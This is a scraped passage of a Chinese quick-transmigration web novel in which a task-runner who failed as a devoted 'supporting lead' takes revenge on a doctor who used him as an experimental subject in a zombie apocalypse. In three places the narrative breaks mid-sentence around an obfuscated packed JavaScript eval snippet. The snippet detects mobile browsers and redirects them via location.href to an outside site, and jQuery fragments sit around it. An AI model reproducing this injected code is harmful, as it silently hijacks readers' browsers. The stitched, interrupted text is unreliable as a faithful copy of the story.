《深情男二已改行[快穿]》 1. 江泠 长长的走廊上江泠正精神不济的打着瞌睡,他双手插在裤兜里漫不经心的往前走,突然一个声音叫住了他—— “江泠,部长叫你去一下,说有事找你。” 这是跟他同部门的小崔同志,因为平日两人业绩天差地别,所以这位小崔同志一向看不惯他,认为他在给整个部门的业绩拖后腿。 但事实也的确如此。 是的,没错,江泠业绩排名全部门倒数第一。作为男配部门的员工,每个小世界必不可少的一份子加主角受的护花使者……这重要性就不用多说了吧? 可问题偏偏就出在这里,江泠自认每回做任务都尽心尽力,恨不得为主角受上刀山下火海,把心都掏出来了,但是……每个小世界都判定他任务失败。 任务积分……更是一分都没有。 而原因就是,江泠所做的一切在主角受眼里根本不算什么,没有丝毫分量,自然也就算不上是男配了,最多就算是个炮灰。而唯一能让天之骄子主角受动心,在心中有一席之地的人,永远只有主角攻。 永远。 想到这里,江泠忍不住“呵呵”。 直到小崔同志不耐烦地将话又重复了一遍,江泠收回思绪,微微颔首。那张淡漠随意的脸庞上噙着一抹笑,笑脸盈盈的回道:“好,我知道了。” 对待同事,他脾气还是很好的。 小崔同志见状小脸一红,实在有些难以抵挡这一波美颜攻击,于是只能用强硬的语气止住自己的惊慌,但这样听起来显得意外的刻薄。 小崔:“说不定是离职通知呢。” 江泠:听不见。 没有理会小崔同志的明嘲暗讽,他微微侧过身,脖颈修长,不急不慢地向着部长办公室走去。 江泠推开门,入目可见的是满屋的少女心装饰,粉红色调将整个屋子装扮的格外梦幻,隐隐约约还带着几分浪漫,跟原先严谨的办公室截然不同,不知道还以为来到了公主屋。 江泠叹了口气,无奈的叫醒了趴在办公桌上睡得正香的人,少女揉了揉迷离的双眼,看到江泠便是开心的惊呼: “江泠,你来了啊!过来过来!我要告诉你一个好消息!” 坐在办公椅上说话的是一个年龄不大的少女,脸上的笑容甜美动人,穿着复古的粉色少女连衣裙,扎着可爱的双马尾,很难想象这是掌管整个男配部门的领导者。 然而正是这样一个正式妙龄的少女,其实早已经活了上千年,据传闻说是某个中世纪公爵的女儿,但至于为什么会在这里,他们这些任务者也无从得知。 新上任不久的部长一脸神秘兴奋的靠近江泠,水灵灵的大眼睛闪烁着光芒。 于是江泠装作配合的样子,点了点头说:“好的,我很想知道。” 不过他的语气仍旧是没有兴致的散漫,他可不相信有什么好事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775796|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会落到倒数第一的头上。 部长看着眼前这人提不起兴致的样子,神秘一笑,语气带着诱惑: “给你换个部门怎么样?这一次你不必再顺应天道法则,我们站在天道的对立面。” 见江泠终于抬起头,少女笑吟吟地道出部门的名字:“是虐渣部哦。” 可不就是对立面嘛,因为虐的就是天道最喜爱的天命之子啊。 少女微微一笑,似乎有些期待。 打破天道必然的规则秩序,这种事情听起来就有些让人兴奋呢。 她说完那番话后语气微微一顿,认真的对江泠说:“我可以保证,无论成功与否,任务结束之后,我都会替你实现一个愿望。” 向来轻佻的人今日语气格外的严肃与认真。 当新的规则将至,那些陈旧的,腐朽的,满是偏爱的世界终将逆转。 付出真心的人不应该就那样被白白践踏,而辜负真心的人又凭什么享尽偏爱呢? 所以,以他们最擅长的作为武器,用爱夺去天道宠儿的心,让他们尝到辜负爱的滋味,在地狱里挣扎不得永生。 江泠没有说话,而是颔首默认了部长的话,随后便转身消失在了原地。 系统在随身空间里担忧的询问:“宿主,你真的要答应吗?” 江泠无所谓的笑了一下:“为什么不试试呢?” 部长这可是在给他撑腰啊。 2. 高岭之花医学博士 1 入目是纯白冰冷的实验室,各种精密仪器陈列有序,一眼望去可以清楚看见那些实验人员正在忙碌工作的身影。 不过其中有道身影在一群身穿白色大褂的人中格外显眼。 不苟言笑的博士戴着一副银色边框眼镜,显得气质格外疏离,精致的眉眼在眼镜的加衬下泛着冷冽的光。但实际上,藏在镜框后的那双深邃迷人的眼眸却闪着宝石般的光泽,左眼下的一颗泪痣点缀其间,莫名增添几分脆弱之感。 白大褂整整齐齐的穿在他身上,领口衬衣的纽扣也系在最上面一颗,要特意从某些角度才能隐约窥见那一截雪白的脖颈。 听着身边人的汇报,他握在手中的笔停下,嘴边蓦然绽开一抹意味深长的微笑:“你说,江泠的生命特征回来了?” 那声音有些微妙,尾音上扬叫人分不清他究竟是高兴还是不满,就如同终年不化的雪山上忽然有花盛放,看似动人心魄,实则却是极致的冰冷。 汇报人员也很诧异这个结果,但面对博士意味不明的问话,他也只能尽量将情况描述得更加详细:“是的,我们早前明明给实验体注入了十来种变异病毒,也亲眼观察其生命特征逐步下降直至彻底消失。但消失过后一小时各项生命迹象又忽然恢复正常,目前未查明是何原因。” 这番话让祈音尘从最开始的漫不经心到兴趣十足,他将手中的笔插回衣兜后微微一笑:“看来我们的研究并不全面,没事,给他多做几回全身检查,看看究竟是怎么回事。” 作为末世最大的的基地,祁音尘又身为基地研究院的总负责人,自然没人敢不听他的话。毕竟研制出增强末世身体体质和异能的疫苗,全都是祁音尘一人的功劳。 至于实验体也就是博士口中的江泠,成为废物后却被基地庇护至今,当实验体也算是他这个废物最后一点可用的价值了。 * 江泠刚醒来的时候,只觉得眼前一阵眩晕。等视线彻底稳定下来,他才发现自己躺在洁白的单人床上。旁边就是各种运转的仪器,这场景对江泠来说再熟悉不过了。 他活动了一下酸痛无力的胳膊,挣扎着想要起身,但却低估了他这副被严重透支的身体。 所以江泠支起手肘最多撑了一秒,便又重重的摔回了原处,甚至还将简陋的病床砸得一晃。 江泠:“……这个世界我好像有些熟悉。” 【那宿主你还记得小世界剧情吗?】听见江泠无奈自嘲的口吻,系统心里咯噔一下,只得小心翼翼地询问。 怎么说呢,宿主就蛮舔……不、蛮惨的。 作为出厂后就跟着宿主的一只小白统,它眼睁睁看了宿主舔了一个又一个主角受,明明这么尽职尽责,结果每次核算积分,都被主系统冷冷的告知—— 【忠犬男配扮演失败,积分结算+0,额外奖励+0,……】 不过后来宿主复盘的时候倒是感叹的说:“其实怪我太敬业,舔过头了。” 不是它说,宿主接手的小世界都不太行,全是什么搞虐恋情深的,主角攻受之间不能幸免,宿主拿的男配更是没好到哪里去。 看宿主这副惨样子就知道了。 江泠没太注意系统同情的口吻,而是认真的回想小世界剧情,过了一会儿江泠才缓缓吐出了主角受的名字: “祁音尘。” 江泠怎么可能会记不得呢?这可是他接手的第一个任务。 然后自此开始了悲惨的舔狗生涯。 主角受祁音尘在成为末世知名的医学博士前,在原本秩序正常的社会里是个家世悲惨,但偏偏相貌出众,成绩优秀的高岭之花。 美丽,脆弱,却又坚韧。 江泠作为男配,原本是一个家境优越的富家公子,对祁音尘一见钟情。 那时,祁音尘穿着一身白衬衣,阳光散在他精致又瓷白的脸上,左眼下的一颗泪痣像是一颗火星在江泠心上烫了一个疤。 自此江泠开始疯狂追求祁音尘,不仅为祁音尘送吃送喝,还帮祁音尘还了家中的赌债。后来为了让祁音尘正常上学,不受酒鬼父亲的影响,还将祁音尘接到了自己家中。 乍眼一瞧,这的确像偶像剧本——痴心富二代爱上清冷学霸,可惜主角受官配并不是江泠。 祁音尘从来不认为江泠是他的救赎,对祁音尘来说,被接到江家生活与施舍没什么两样,江泠的追求和爱于他而言也只是困扰。 不过他无法拒绝,因为江家的资助是他从泥里挣脱的唯一机会。他并不介意用廉价的情感实现利益的最大化。江泠喜欢他,他可以接受甚至挂上那个所谓“男朋友”的头衔,但归根到底,这于他来说不过是一场交易。 后来少年的羽翼逐渐锋芒,对于江泠赤裸裸的爱意他并未有过多的回应,而是就这样默认其发展。直到祁音尘攻读医学博士,拥有一定社会地位和资本,想要脱离江家时—— 末世来临。 除开恰好在外面的江泠和祁音尘,江家全部不幸遭难,等江泠赶回来之后,江家人已经开始慢慢丧尸化,为防止病毒的扩散,江泠亲手点燃了江家老宅,百年宅院一夕之间化为灰烬,连同那些已经成为丧尸的江家人。 即便江家的人其实于他而言不过是小世界里的npc,但是江泠不曾忘记江母的慈爱纵容,甚至对他堪称任性的行为理解并接受。当初也是江母力排众议同意他将祁音尘接回家里住,甚至暗自里早已将祁音尘当成了自家人。 于是在江泠放完那把火后,转身就紧紧抱住了祁音尘,压抑的声音带着几分沙哑: “音尘,我现在只有你了。” 看到这里,是不是以为两人在末世开启了共患难模式? 不,实际上是江泠开启身为男配实则舔狗之路。 在两人一路南下寻找基地的路上,江小少爷为了不让心上人遭到一丁点意外和风险,总会独自一人外出寻找食物。为此,向来生活优渥、没吃过苦的少爷也开始握着武器斩杀丧尸。 明明一开始见到丧尸都会害怕得全身发抖,到后来已经能面不改色的抡死丧尸了。 祁音尘被江泠保护的很好,不仅没有受到半分伤害,而且还能勉强在末世里干干净净的活下去。不过江泠每次受伤总会被祁音尘忽视,见江泠能咬着牙自己包扎伤口,祁音尘也就没有再过问。 所以祁音尘学医多年,竟从未为江泠包扎过一次。 直到有一次,江泠不小心被丧尸抓伤,伤口开始溃烂,整个人也开始高烧不断的时候,祁音尘才总算是好心的帮他看了看。 如果江泠能自己熬过去,就说明他可能觉醒了异能;而熬不过去,祁音尘自然不会再和一个即将成为丧尸的人同行。 也是在那一次,祁音尘发现了江泠特殊的体质。江泠没有像传言中那样要高烧三天才会苏醒,不一会儿江泠就退烧了,不仅身体没有大碍,伤口愈合,甚至还拥有了异能。 这根本不同于普通的异能觉醒者,反而像是具有免疫能力。 江泠醒过来倒是很欢喜,看到心上人在一旁守着自己,以为祁音尘担忧自己,反而阳光的告诉祁音尘不要担心他。 等两人千辛万苦到了最大的K基地,由于江泠觉醒的火系异能,祁音尘并未有任何异能,所以两人只分到了一个很小的房间。从那之后,两人的日常花销则全靠江泠平时在外做任务,拿晶核换物资。 心气高的祁音尘自然不甘心一辈子都靠江泠养着,如果一直这样,那跟以前有什么区别?他早就想脱离江泠的庇护,他不要靠别人。 所以祁音尘凭着自己的医学才能申请进了实验室,在研究病毒遇到瓶颈的时候,他想到了江泠。 那是江泠第一次看见祁音尘落泪,浓密的睫毛沾着泪珠,像是蝴蝶翅膀一样,一眨一眨的,让人格外心动。 所以江泠在听到祁音尘的请求时,便毫不犹豫的一口答应了。 就这之后,江泠成为了祁音尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775797|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 专属的实验体。祁音尘发现江泠的血液具有免疫功能后,凭借出人的医学天赋,一举研制出了能够增强异能和体质的疫苗。在疫苗被研发出来之后,基地领导人对祁音尘格外看重,也慢慢让祁音尘接手了最重要的研究所。 至于江泠则是在失去价值之后被扔给了其他的实验人员研究抗体,而后在某次实验中没能熬过来,失去生命特征之后,便被扔到了丧尸群中。 同时,祁音尘却与基地领导人之一,也就是年轻有为的主角攻在多次接触后惺惺相惜,两人互相欣赏,强强联合,终将K基地打造成为末世最强大的基地,地位难以撼动。 多年之后,祁音尘和主角攻一起出任务,身居高位的祁音尘居然对着丧尸群里一个游荡的身影若有所思,等旁边的主角攻问起时,祁音尘只淡淡的说了句:“有点像我认识的人”便再无他话。 其实不是有点像,那正是已经成为丧尸的江泠。那具身体的确如同死去那般,行尸走肉,没有灵魂,可在看见祁音尘之后,早已失去神志的丧尸面带痛苦的表情,用扭曲的肢体带着身后的丧尸离开了这里。 再也没有看祁音尘一眼。 等江泠一点一滴回忆起那些细节,眼角也无意识淌下一滴泪,砸在了病床上。 系统见状不免有些担忧,语气温柔的询问:“宿主,你没事吧?” “我只是,好像,记起这个世界发生的,还是有些难过。”江泠躺在病床上盯着天花板,脸色苍白,更显得虚弱病态:“你说我都做到这份上了,认证忠犬男配怎么还会失败呢?还有,该说不说,我脱离小世界后也没人管管我那具身体啊?变成丧尸还怪吓人的。” 系统:【……宿主,复制体你就将就将就一下吧。】 “所以,现在我是死了又活过来,还没有被扔进丧尸堆的时候?” 【嗯哼,是的呢。】系统点了点头,对于宿主能完美的抓住关键,表示十分赞赏。 没办法,自家的宿主肯定是最棒的! 说起来虐渣也不是不行啊,系统瞬间开心起来:【宿主,接下来咋办啊,有没有信心干倒祁音尘?】 江泠淡淡的笑了一下:“说实话,我倒不是很想干。” 都说任务者做任务时最好不要携带私人感情,但对于在最开始投放任务就连接自己10%真实情感的江泠来说—— 说不定掺杂点儿私人情感更好完成任务呢。 江泠静静地躺在床上恢复力气,不一会儿就听到一串脚步声,应该是那群人来了。 走在前面的是祁音尘,一身雪白大褂显得气质格外清冷,他手中拿着江泠的检测报告,一页一页地翻看着,身后陆陆续续跟着一大批实验员。 江泠都不用睁开眼,就知道那位应该也来了。 不过他并不想第一眼就看见祁音尘,没别的,怨气太重。 于是当祁音尘推开门的时候就看见江泠一动不动的躺在床上,要不是旁边仪器显示心率有起伏,他都要怀疑手底下的人是不是判断错了。 但祁音尘无暇顾及这么多,只是有些冷漠的吩咐身后的实验员:“先抽一管血,马上带去实验室化验。” 他身后的人开始动作,两个实验员过去粗暴的掀开了江泠身上的外衣,将箱子里的针管拿了出来。 祁音尘盯着他们粗暴的动作,心里莫名有些不舒服,蹙着眉心制止了他们的行为:“算了,我来。” 祁音尘一双白瓷般修长的手慢慢卷起江泠的衣袖,正准备下针,却在看清楚江泠的手臂后瞳孔不由自主放大。 为什么?为什么这人手上这么多伤痕,针眼……大大小小,青青紫紫,几乎找不到一块完好的肌肤。 祁音尘勉强稳住心神,薄唇抿成一条直线,找了个稍微完好的地方很快将针扎了进去。当血液慢慢升起填满针管,病床上似乎早已失去意识的人,却脸色苍白、满是病态的轻声叫着他的名字: “音尘,好疼……” 3. 高岭之花医学博士 2 祁音尘下针的手或许有一瞬的颤抖,但他隐藏得极好,很快就面不改色的抽了满满一管血。 这种做事风格在众人眼中习以为常,就连他的助手都没有发现一丝异样。 你究竟是怎么想的呢? 祁音尘不知道,他只是不想看见江泠因为痛苦皱起的眉。至于那一声呢喃……仿佛一粒石子落进水潭中,砸得祁音尘波澜不惊的心荡起了一层浅浅的涟漪。 于是他心中不禁生出一个疑问—— 原来,江泠这么疼吗? 祁音尘将抽好的血交给旁边的研究人员后,第一次开口询问起有关江泠的事来。明明他平时的语调也清冷疏离,但是此刻显得格外的冷,眼中也生出一层浅浅的薄霜。研究室内的人不明所以,以为博士不满这种超出掌控的意外发生,都小心翼翼地低着头。 祁音尘:“你们给江泠做了什么研究项目?有没有衡量过江泠的身体强度能否适应?” 一连抛出的问题让众人意识到博士现在似乎有些生气,但是博士不是向来不过问这些吗?甚至那些研究项目的申请书博士也是签了字的啊。 不过这个时候显然不会有人这么说。 随着一阵冷气压蔓延在冰冷洁白的房间内,谁都不想当那个出头鸟。 就在这时,祁音尘的副手终于开口“救场”了,语气有些微妙,但又十分恭敬:“博士,在您研究出疫苗后,您就已经将江泠作为实验体的权限移交给病毒抗体实验组了,大家一直都在为研究病毒抗体而努力,江泠先生的确功不可没。” 那位副手微微低着头,但并不显得卑微,反而格外从容,举止得体,简直让人挑不出错来。 祁音尘听见这话只觉得烦躁,冷冷盯着身旁的人,眼神清傲不屑,:“回去告诉赵祁,别派人往我的地方插手,包括你。” 副手顺从的应允,很快推门离开,走得悄无声息。 至于祁音尘话中提到的“赵祁”就是祁音尘命定的伴侣,前期赵祁死皮赖脸穷追不舍,派出自己的得力助手专门保护祁音尘,按照故事走向,祁音尘虽然对赵祁安排心有不满,但是也算是勉强接受了派来的副手,甚至发展到后面,这位副手还成为了一个潜藏的忠犬,一心只为祁音尘保驾护航。 虽然人走了,但是祁音尘心里还是烦闷,他冷眼扫了众人一眼,心知这件事再追究也无益,挥挥手便吩咐下去: “将血液拿去化验,结果出来马上拿给我。还有,鉴于这次江泠突然恢复生命特征的情况有些奇怪,马上转到我的研究室,原先的组就不用管了。” 话音落下,当祁音尘走出房间时,鬼使神差的突然回头看了静静躺在床上的人一眼,江泠脸色苍白,依旧昏迷着。 只是为什么今日心里会莫名有些酸涩呢?明明以往都不会这样的……祁音尘垂眸,鸦羽般的长睫在眼睑处落下一片阴影。 还能因为什么? 人要死了都苦苦念着你的名字,任谁来心里能毫无波澜? 江泠缓缓地回答了系统的疑问,也算是“好心”的解释了祁音尘心里的疑惑。 原来,就在众人随祁音尘前脚刚离开,安静的房间内只余江泠一人时,系统歪着脑袋,叽叽喳喳的复述着刚刚病房里祁音尘的神情与语气。 然后,系统晃了晃小脑袋,好奇的问:“主角受看起来……好像是在心疼你哎!宿主!这是为什么啊?” 就冲主角受刚刚双手环抱、慢悠悠进门的姿态就能看出他是过来“看好戏”的,结果抽管血的功夫,就跟变了个人似的。 可真有意思。 江泠说完那句话之后,脸微微的侧向了窗外,透过玻璃,依稀可见外面祁音尘修长的身影和远处重重围着的铁栅栏和黑色电网。 黑白相互交映,好像让人觉得在这黑暗昏沉的末世里还有些许希望一样。 呵。 宿主不说话,系统很心慌。 就在它可怜巴巴的询问接下来该做些什么的时候,江泠半张脸缩在白色的被子里,只露出藏在黑色碎发下的一双眼和高耸的鼻梁,这么看起来,倒是显得人有几分精神了。 江泠淡淡的说:“等着。” 听刚刚祁音尘的语气,有可能要去找赵祁,就看两人会不会吵起来了。 江泠说完之后干脆全缩进被子里,远远看去像一个球,声音也像是从鼻子里挤出来的,带着重重的鼻音。 系统看着自家宿主可心疼坏了,越发觉得那些主角受一个一个都眼瞎了似的,就宿主这种的给你当男配,不偷着乐就算了,还把人当炮灰? 行行行,那就祝你们老公“货不对板”,做饭的时候偷偷哭去吧。 系统:是的(点头),其实我是个“妈妈统”来着。 * 祁音尘疲惫的推开了自己房间的门,明亮的灯光落在冷奢风格的地板上,竟看不出一丝温暖。 半夜,祁音尘捏着手中的笔却什么东西都写不出时,终于放弃了自己强撑的理智,他脑中闪过江泠虚弱病气的脸,不由地想到了从前江泠意气风发,还是个富家公子哥的时候。 那时他只是个穷学生,总穿着已经浆洗过数次、白的起皱的衬衣,藏在人群中。但不知道怎么就得了江小少爷的青眼,当他像往常一样从老师办公室出来之后,江泠突然伸手拦住他,笑嘻嘻的说认识一下。 他冷眼看着眼前的人,阳光洒在江泠背后,显得江泠格外耀眼,当然浑身上下的名牌配饰、价值不菲的手表一样耀眼。 江泠缓缓挑眉,澄澈的眸中不掺杂一丝恶意,仿佛真的只是想跟他认识一下。 当这依旧抵不过他心里蔓延开的恶意揣测—— “朋友?还是被你们当成乐子的玩具?” 但是江泠却从此强行闯入了他的生活。 祁音尘手中的笔有力划破纸张,他冷静的止住回忆的侵袭。 那些……明明都快忘了的。 祁音尘垂下眼眸整理着办公桌上的数据文书,忽然皱眉,发觉好像少了一份。 他修长的手指有一下没一下敲着桌面,思索着自己是不是记错了。大概因为这些事往日都是交给副手的,一下子人不在还有些不习惯。想到今日自己又疾言厉色的将人赶走了,祁音尘眉心微蹙,叹了口气。 真是昏了头了。 祁音尘起身准备去赵祁那儿走一趟,打算将副手请回来。副手在他身边毕竟这么久了,一时之间很难培养第二个出来。不过想到赵祁,祁音尘又是一阵头疼。 他不是不知道赵祁对他的心思,但是他一见赵祁就会想起江泠。尽管当初是赵祁力排众难让他接管实验室,也一心支持自己当初研制免疫疫苗。可以说,没有赵祁,他绝对不会拥有现在的地位。 当然他也没有辜负赵祁的期待,不仅研制出了疫苗,还研发了增强异能的各种药剂,他的站队更是让赵祁力压基地其他负责人,势头独大。 他自认不欠赵祁什么。 思索间,祁音尘已经刷开权限到了赵祁门外,正准备敲门,就听到了房间内传来的争吵。 其实房间内开始声音并不算大,大概是因为拥有权限才能刷开大门进来的只有那么几个人,到后面,房间里的音量也肆无忌惮的提高—— “你不是说你已经把从丧尸身上提取的几种病毒注射给江泠了吗?他怎么还活着?嗯?说话!”正是赵祁的声音,在他面前向来也是嬉皮笑脸的,倒是没见过如此暴戾的时候。 祁音尘听到这里还算冷静,甚至还能比对一下赵祁的不同面。 “的确已经注射了,江泠会醒过来的确很意外。”副手不卑不亢的继续说:“不过已经让人将江泠的血液送去化验了,等结果出来马上告诉您。” “行,那这次就算了。你跟在音尘身边,有机会的话,就别再给江泠活下来的可能了。”赵祁语气平静了些许,接着说:“音尘赶你回来也肯定只是一时生气,等明天你再过去看看。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775798|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵祁眼神一冷,带着莫名的狠厉,如同阴冷的蛇吐出蛇芯,像是在自言自语道: “凭什么江泠能陪他这么久,明明我很小就认识音尘了啊。我跟着音尘上学,看着音尘长成少年的模样。就是因为江泠!他以为他有钱,他就可以拥有一切吗?后来还把音尘接到了他家,明明我和音尘他爸都说好了,给他爸5万,音尘就是我的了……要不是江泠听到我和音尘他爸的谈话,他怎么可能接走音尘,肯定是他拿了更多的钱!” 听到此话,祁音尘平静的脸上像是裂开了道道裂痕,他紧紧的扶着墙才不至于站不住。 他记起在那个陈旧巷子里经常尾随自己的混混青年,永远戴着一顶帽子、将脸遮得严严实实,跟着他,从巷头走到巷尾。 那人就这样怀着明晃晃的觊觎盯着他,像盯着一块到嘴的肉,他没法报警,只能躲得远远的。 后来有一天江泠态度强硬的要接自己回他家,还说可以资助自己上学。他厌恶那种高高在上的施舍感,连通对那个尾随青年的厌恶一起加诸于江泠身上。 可最后他还是答应了。 祁音尘手撑着墙,用力咬着下唇,那种贯彻全身的羞辱感再次从骨头缝里钻了出来。 “幸好音尘不喜欢江泠,要不然我不会留他到现在。” 新仇旧怨一起涌上来,赵祁眯着眼睛,口吻讥讽,却难掩得意:“江泠再有钱又能怎么样?没脑子就是活该!他守着人亲自日夜照顾,还不是抵不过我收买一个护工来得容易?” 祁音尘记得那次的。 他发高烧进了医院,不想告诉江泠,结果刚走进医院就昏了过去。 醒过来后,一个好心的护工说是见他一个人,便顺手一起照料,结果前脚刚走,后脚江泠就踏进病房门邀功似的跟他说: “你终于醒啦?我守着你好久了,你看,黑眼圈都有了。” 那时的自己躺在病床上冷笑,只觉得江泠这人总能见人说鬼话,说不上来的失望涌上心头,他扭过头根本不想再看见江泠脸上的笑。不过他也没将这事挑明,只是阴阳怪气的对江泠说—— “那江少回去休息吧,真是辛苦你了。” 听到这里,祁音尘几乎是强撑着站在这里。 迟来的真相在嘲笑他自以为是的清高,赵祁得意的口吻一刀一刀凌迟着自己。 祁音尘攥紧双拳,控制不住想要冲进去,但赵祁后半截的话生生让他止住了步子—— “江泠算什么东西?到了末世,还不是废物一个?现在我不仅能用全新的身份追求音尘,还能与他并肩而立,所以说……上天注定我们是要在一起的。” 副手有些惊奇的抬起头,面对赵祁像是打开宣泄口一样忽然对他说这么多隐情并没有过多的表情,反而勾着嘴角附和的应了一句:“您说的对。不过祁博士和江泠毕竟共患难过,他不忍心下手也在情理之中。” 赵祁听得出来副手是在说今日的事,笑了一下,反问了一句:“是吗?音尘会不忍心?我看不见得。” “末世刚降临时,我见过他们。音尘被丧尸抓伤了胳膊,我四处找药,却没想到看见江泠竟然直接给音尘喂血。后来音尘熬过来,没死,后来还和江泠一起来了基地……拿江泠当实验体一事最后还是音尘自己提出的呢……你说,他会不忍心吗?” 祁音尘听到这里,低着头,神色有些麻木,后背的汗已经将衬衫浸湿透了。 他根本不记得江泠给他喂过血,他以为自己只是发烧了,他发现江泠的血有抗体是因为江泠自愈那次之后的研究才发现的。 所以……所以,江泠是早就知道自己的血有免疫功效,还由着自己研究吗? 一堵墙隔着两个人,一个做着美梦,一个才被残酷现实打醒。 祁音尘脑中又闪过江泠身上青青紫紫的伤痕的画面,一滴冰冷的液体砸在手背上,他才惊觉—— 是泪。 可他早以为自己不会哭了啊。 4. 高岭之花医学博士 3 祁音尘也不知道自己是怎么回来的,他拖着麻木的身躯跌跌撞撞的走在路上,甚至无暇顾及旁人诧异的眼光。 赵祁的话像是恶魔诅咒的低语一直萦绕耳边,将他不断拖拽进无尽深渊。 祁音尘抵在门上,整个人慢慢滑落到地面,面色苍白,胸膛不断起伏着,架在耳边的那副银色边框眼镜被他粗暴的扯下来,扔在地上。 他如今要怎么面对江泠呢? 他要怎么面对那个人呢? 祁音尘不知道,脑中江泠虚弱的样子却变得越发清晰。 对,不能让江泠继续待在实验室里,不能。 刚刚还失魂落魄的人突然生出几分力气,他慢慢扶着墙站起来,毫不在意自己洁白的外衫沾上地上的灰,也不在意自己略显狼狈的外表,呼吸急促地拉开了门。 想到赵祁,祁音尘黯淡的黑色眸子里充斥强烈的憎恨,他牙关咬紧,双手紧握,透明白润的指甲狠狠刺入掌心,仿佛想凭着这股恨意支撑自己不要倒下似的。 赵祁,你做的一切我都会一分不少的讨回来! 祁音尘从来没有这么急切的想见到江泠,那个总是含着笑意注视着自己的人,原来曾那么诚挚,热烈,毫无保留地喜欢着自己。 江泠还会原谅我吗? 祁音尘再也不敢的笃定说出答案。 当他到实验室的时候,犹豫的心让他踌躇不前,但一想到江泠浑身的伤都是因为自己,胸腔中那颗跳动的心脏就变得无比的酸涩,像是被人狠狠揪住似的。 他强撑着维持着自己往日的平静,急促的脚步却暴露了他真正的心情,他朝着江泠住的小单间走去。突然,一个声音让他不得不止步—— “祁博士,江泠最新的血液检测报告已经出来了,您要看一下吗?”研究人员恭敬地将检测报告递过来。 心中紧绷的弦忽然断掉,祁音尘再也克制不住,向来清冷的脸上终于出现愠怒,不只是对着自己,还是对着他人,咬着牙一字一顿地说: “现在!立马!停止对江泠的一切实验项目!东西给我,你可以走了。” 只要听到“实验”两个字,祁音尘脑海就会浮现江泠那张苍白的脸,他不能一直错下去。 研究人员面露疑惑,十分不解:“您说什么?” 照现在的情况来看,江泠不是更有研究价值吗? “听不懂吗?我说停止研究!”祁音尘冷冽的目光紧紧盯着研究员,那人身子忍不住哆嗦两下,哪里还敢说话,点点头立刻离开了。 也不知道谁惹博士生气了,居然发这么大火。 待人走了,祁音尘捏着手中的资料站在小单间的门外,一时之间难堪、后悔和脆弱的情绪涌上心头,竟然让他迟迟不敢推开那扇门。 至于屋里的人嘛—— 江泠又睡了一觉后悠悠转醒,此刻正百无聊赖地盯着窗外。窗户透明的玻璃映着来来往往的人群,一朵脆弱娇艳的花在不起眼的墙角盛开,还挺好看的。 系统检测到门外有人,想了想最后还是告诉了江泠:“宿主,祁音尘好像在搁门外站桩。” 江泠:“嗯,他站够了估计就会进来,别管。” 终于,在江泠等的又要陷入昏睡之际,细微的推门声响起,接着是某人放轻的脚步声。 不同于江泠记忆中那个始终高冷疏离的医学天才,此时的祁音尘像是被暴雨摧残的娇花,浑身上下,大写的脆弱两字。仔细看,那张精致白净的脸上还有着未干的泪痕,眼尾残余令人心疼的绯红,那颗恰到好处的泪痣更现得人摇摇欲坠。 祁音尘向来都知道如何做才能达到最佳目的,如今也不例外。 他知道少年最看不得他这副模样,当然,如今他不敢去赌那个全心全意对自己的江泠还在,只希望江泠对自己至少还残存几分怜惜。 往日的错事他可以用余生来弥补。 江泠靠在床头,看见祁音尘那副模样并不觉得意外。 果然,祁音尘总是知道如何做会让自己毫无原则的原谅。 不过不好意思,他已经不是当年那个“舔狗”了。 静谧的空气仿佛在等谁先开口,换做往日,江泠势必不会让两人之间产生这么尴尬的场面,望着那双破碎的双眸,江泠语气平淡的问: “祁博士还有事吗?” “现在你不是什么都有了吗?难不成我对您还有什么利用价值?” 上一回祁音尘眼泪涟涟望着自己,还是求着他作为实验体参与实验室的研究呢。 结果后来疫苗研究出来了,自己就被转手了,从那之后竟然再也没有见过祁音尘一面。他偶尔会醒来,看着全身穿着防护服的研究人员将不同的针头刺入自己的身体,记录着他们需要的各种数据。他心想—— 这把认证男配应该稳了。 尽管那时候他的耳边充斥各种不屑,轻视的声音—— “就你还想见祁博士,祁博士这么忙怎么有可能见你!” “对啊,趁你现在还能做点贡献,好歹也能挽救一下你这个杀人犯的名声啊!” 是的没错,在赵祁的刻意污蔑下,所有都认为他为了从丧尸手下逃脱,竟然将身边一名同伴推向了丧尸,以此换得自己逃亡的时间。 所有人都站在道德的制高点指责他,他背负着莫须有的罪名,连解释的机会都没有。 祁音尘对这一切全然不知,就算知晓,也置之不理,漠不关心,放任一切。 江泠要是没记错,这副躯体在死之前见过祁音尘最后一面,是隔着丧尸和人群远远的一面。 也是那个时候,他认证“忠犬男配”彻底失败。 想到这里,江泠闭上眼,生怕自己控制不住揪着祁音尘的衣领问为什么。 